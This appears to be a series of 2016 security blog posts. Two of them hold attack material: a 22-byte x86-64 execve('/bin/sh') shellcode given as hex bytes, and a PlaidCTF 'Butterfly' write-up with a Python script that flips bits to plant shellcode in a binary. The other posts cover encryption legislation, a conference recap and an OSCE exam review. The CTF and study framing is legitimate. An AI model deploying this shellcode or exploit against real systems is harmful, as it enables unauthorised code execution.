27 Apr 2016
So about two years ago, I put together the shortest x86-64 shellcode for
execve("/bin/sh",...); that I could. At the time, it was 25 bytes, which I
thought was pretty damn good. However, I’m a perfectionist and so I spent some
time before work this morning playing shellcode golf. The rules of my shellcode
golf are pretty simple:
- The shellcode must produce the desired effect.
- It doesn’t have to do things cleanly (i.e., segfaulting after is OK, as is
using APIs in unusual ways, so long as it works)
- It can assume the stack pointer is at a place where it will not segfault and
it will not overwrite the shellcode itself.
- No NULLs. While there might be other constraints, this one is too common to
not have as a default.
So, spending a little bit of time on this, I came up with the following 22 byte
xor esi, esi
mov rbx, 0x68732f2f6e69622f
mov al, 0x3b
Assembled, we get:
char shellcode = "\x31\xF6\x56\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xF7\xEE\xB0\x3B\x0F\x05";
This is shorter than anything I could find on shell-storm or other shellcode
repositories. If you know of something shorter or think you can do better, let
17 Apr 2016
Butterfly was a 150 point pwnable in the 2016 PlaidCTF. Basic properties:
- Not PIE
- Assume ASLR, NX
It turns out to be a very simple binary, all the relevant code in one function
main), and using only a handful of libc functions. The first thing that
jumped out to me was two calls to
mprotect, at the same address. I spent some
time looking at the disassembly and figuring out what was going on. The
relevant portions can be seen here:
I determined that the binary performed the following:
- Print a message.
- Read a line of user input and convert it to a long with
- Take the read value and right shift by 3 bits. Let’s call this
- Find the (4096-bit) page containing
addr and call
- xor the byte at
1 << (input & 7). In other words, the lowest 3
bits of the user-provided long are used to index the bit within the byte to
- Reprotect the page containing
- Print a final message.
The TL;DR is that we’re able to flip any bit in any mapped address space of the
process. Due to ASLR, I decided to focus on the .text section of the binary as
my first goal. Specifically, I began looking at the GOT and all of the
executable code after the bit being flipped. I couldn’t immediately happen on
anything obvious (there’s not some branch to flip to
I had an idea that redirecting control flow with one of the function calls
puts) seemed like a logical place to flip bits. I
didn’t see an immediately obvious choice, so I wrote a script to brute force
addresses within the two calls, flipping one bit at a time. I happened upon a
bit flip in the call to
mprotect that resulted in jumping back to
which effectively restarted the program. This meant I could continue to flip
bits, as the one call had been replaced already.
Along with one of my team mates, we hit upon the idea of replacing the code at
the end of the program with our shellcode by flipping the necessary bits. We
chose code beginning at
0x40084d because it meant we could flip one bit in a
je at the top to get to this code when we were ready to execute our shellcode.
We extracted the bytes originally at that address, xor’d with our shellcode (a
simple 25-byte /bin/sh shellcode that I’ve previously
featured), and determined
which bits needed to be flipped. We then calculated the bit flips and wrote a
list of numbers to perform them.
In short, we needed to:
- Flip a bit in
call mprotect to give us a never-ending loop.
- Flip about 100 bits to deploy our shellcode.
- Flip one final bit to change the
jne after the call to
- Provide garbage input for the final call to
My team mate and I both wrote scripts to do this because we were playing with
different techniques in python. Here’s mine:
base = 0x40084d
sc = '\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05'
current = 'dH\x8b\x04%(\x00\x00\x00H;D$@u&D\x89\xf0H\x83\xc4H[A'
flips = ''.join(chr(ord(a) ^ ord(b)) for a,b in zip(sc, current))
start_loop = 0x20041c6
end_loop = 0x2003eb0
for i, pos in enumerate(flips):
pos = ord(pos)
for bit in xrange(8):
if pos & (1<<bit):
print hex(((base + i) << 3) | bit)
Redirecting to netcat allowed us to obtain a shell, and the flag. Great challenge
and amazing to see how one bit flip can do so much!
10 Apr 2016
There’s fortunately been a lot of media coverage of a typically ham-fisted
attempt to legislate technology:
For once, it’s not just been technology blogs: Fortune, Reuters, and USA Today
are among those covering the legislative failure.
The fact that one of the cosponsors is one of my own Senators (Dianne Feinstein)
makes this all the more painful for me. She claims to be a Democrat, but her
legislative agenda has shown her to be more of right-wing police-state
NSA-apologist than a California liberal. I’m sure it’s no coincidence that her
husband has significant holdings in military complex corporations that benefit
from her anti-American police-state tactics.
I should mention at this point that, in case it hasn’t been obvious, I’m not a
lawyer. I had to consult a dictionary for some of the words in this bill
is a word that seems to only be used in legislation, and is very important
here), but I think my interpretation of their intent is different from many of
the blogs, based on the following language:
Nothing in this Act may be construed to authorize any government officer to
require or prohibit any specific design or operating system to be adopted by
any covered entity.
Now while the current text does seem to require a backdoor in any cryptography,
I don’t think that was the intent. I think the intent was only to require
the provider to turn over plaintext if they were capable of doing so under the
current design. Unfortunately, it doesn’t seem they wrote it that way, as is
typical when legislators who don’t know what they’re doing, don’t understand
technology, and don’t get input try to legislate technology.
I completely agree that we need legislation regarding encryption and searches,
but I take a little bit of a different spin from Senator Feinstein. We should
have federal legislation prohibiting lower levels from requiring backdoors, as
is being tried in California. Law-abiding citizens shouldn’t have their
security weakened (and there’s a general consensus among cryptographers that
it’s impossible to create backdoors in cryptography without weakening the
general security of the system) because of the fearmongering tactics of law
Yes, if a service has access to plaintext and is served with a valid 4th
ammendment warrant (not a NSL or a kangaroo court FISA order), I believe they
should provide the plaintext. We’ve seen what happens with secret warrants and
warrantless searches: both with the NSA scandal, but also with Hoover and
McCarthy, the Stasi in Germany, and other over-powerful police services. The
founders of this country were clearly aware of the risk when they stated:
The right of the people to be secure in their persons, houses, papers, and
effects, against unreasonable searches and seizures, shall not be violated,
and no Warrants shall issue, but upon probable cause, supported by Oath or
affirmation, and particularly describing the place to be searched, and the
persons or things to be seized.
Weakening American-made crypto only weakens America. “Bad guys” will still have
access to crypto without backdoors from other countries or from before any
legislation, so any legislation to weaken cryptography will only serve to enable
unconstitutional mass surveillance, weaken American’s rights, all without
improving national security one iota.
04 Apr 2016
This past weekend, I was at the Women in Cybersecurity
Summit in Dallas, TX, both recruiting for my
company and copresenting a workshop on web application penetration testing. It
was a real eye-opening event for me, mostly because it was the first security event I’ve
attended where the bulk of the attendees were students or faculty. I had a great time
and met a lot of interesting people, and it’s a very small event, which is something
I’m not terribly used to, since I usually go to bigger events.
Talking with undergraduates was particularly inspiring – when I was an
undergraduate, there weren’t programs at major universities focusing on
information security like there are today. (Even if they insist on calling it
“cybersecurity” for marketing reasons.) So many of the undergraduates (and
graduates!) had a passion that you don’t see even in a lot of working
progressionals, whose cynicism dominates their view of the industry. Also
amazing is the level of research and innovation being done by undergraduates. I
did some research as an undergraduate, and I know how exciting that can be, so
I’m glad to hear of the undergraduates who are getting that opportunity. One
student told me about her projects involving machine learning and insider
threats, which just blew my mind. I was ecstatic to hear when other students
mentioned doing research into censorship and mass surveillance – it’s critical
that we get more people, especially upcoming professionals, thinking and working
about these key issues.
I’m also hopeful to see more diversity in the security industry: diversity helps
prevent group think, helps innovation, and ultimately brings more to the table.
Though this conference was definitely light on the tech (compared to what I
normally attend), I’m glad to see it succeeding and I hope to see the fruits of
its labor next time I’m at another conference.
28 Mar 2016
This weekend, I attempted what might possibly be my hardest academic feat ever:
to pass the Offensive Security Certified Expert exam, the culmination of
OffSec’s Cracking the Perimeter course. 48 hours of being pushed
to my limits, followed by 24 hours of time to write a report detailing my
exploits. I expected quite a challenge, but it really pushed me to my limits.
The worst part of all, however, was the 50 hours or so that passed between the
time I submitted my exam report and the time I got my response.
For obvious reasons (and to comply with their student code of conduct), I can’t
reveal details of the exam nor the exact contents of the course, but I did want
to review a few things about it.
The course covers a variety of topics ranging from web exploitation to bypassing
anti-virus to custom shellcoding with egghunters and restricted character sets.
The combination of different techniques to exploit services is also covered.
While there are web topics that will obviously apply to all operating systems,
all of the memory corruption exploits and anti-virus bypass are targeting
Windows systems, though the techniques discussed mostly apply to any operating
system. (There is discussion of SEH exploits, which is obviously
Compared to PWK, there’s a number of differences. PWK focuses mostly on
identifying, assessing, and exploiting publicly-known vulnerabilities in a
network in the setting of a penetration test. CTP focuses on identifying and
exploiting newly-discovered vulnerabilties (i.e., 0-days) as well as bypassing
limited protections. While PWK has a massive lab environment for you to
compromise, the CTP lab environment is much smaller and you have access to all
the systems in there. The CTP lab, rather than being a target environment, is
essentially a lab for creating proofs-of-concept.
My biggest disappointment with the CTP lab is the lack of novel targets or
exercises compared to the material presented in the coursebook and videos. For
the most part, you’re recreating the coursebook material and experiencing it for
yourself, but I almost felt a bit spoonfed by the availability of information
from the coursebook when performing the labs. I would have liked more exercises
to practice the described techniques on targets that were not described in the
Depending on how many hours a day you can spend on it and your previous
experience, you may only need 30 days of lab time. I bought 60, but I think I
would’ve been fine with 30. (On the other hand, I appreciated having 60 days
for the PWK lab.)
If you’ve successfully completed (and understood) all of the lab material,
you’ll be well-prepared for the exam. The course material prepares you well,
and the exam focuses on the core concepts from the course.
The exam has a total of 90 points of challenges, and 75 points are required to
pass. I don’t know if everyone’s exam has the same number and point value of
challenges (though I suspect they do), but I’ll point out that more than one of
my challenges on the exam was worth more than the 15 points you’re allowed to
miss. Put another way, some of the challenges are mandatory to complete on the
The exam is difficult, but not overly so if you’re well prepared. I began at
about 0800 on Friday, and went until 0100 Saturday morning, then slept for about
5 hours, then put in another 3 or 4 hours of effort. At that point, I had
managed the core of all of the objectives and felt I had refined my techniques
and exploits as far as I could. Though there was a point or two where it could
have gotten better, I wasn’t sure I could do that in even 24 hours, so I moved
on to the report – I figured I’d rather get a good report and have access to
the lab to get any last minute data, screenshots, or fix anything I realized I
screwed up. About noon, I had my report done and emailed, and began waiting for
results. The fact that my F5 key is now worn down is purely coincidence. :)
- Be well rested when you begin.
- Don’t think you’ll power through the full 48 hours. At a certain energy level,
you’ve hit a point of diminishing returns and will start even working
backwards by making more mistakes than you can make headway.
- You’ll want caffeine, but moderate your intake. Jumpy and jittery isn’t
- Take good notes. You’ll thank yourself when you write the report.
The Cracking the Perimeter class is totally worth the experience. Before this
class, I’d never implemented an egghunter, and I’d barely even touched Win32
exploitation. Though some people have complained that the material is dated, I
believe it’s a case of “you have to walk before you can run”, and I definitely
feel the material is still relevant. (That’s not to say it couldn’t use a bit
of an update, but it’s definitely useful.) Now I have to find my next course.
(Too bad AWE and AWAE are always all full-up at Black Hat!)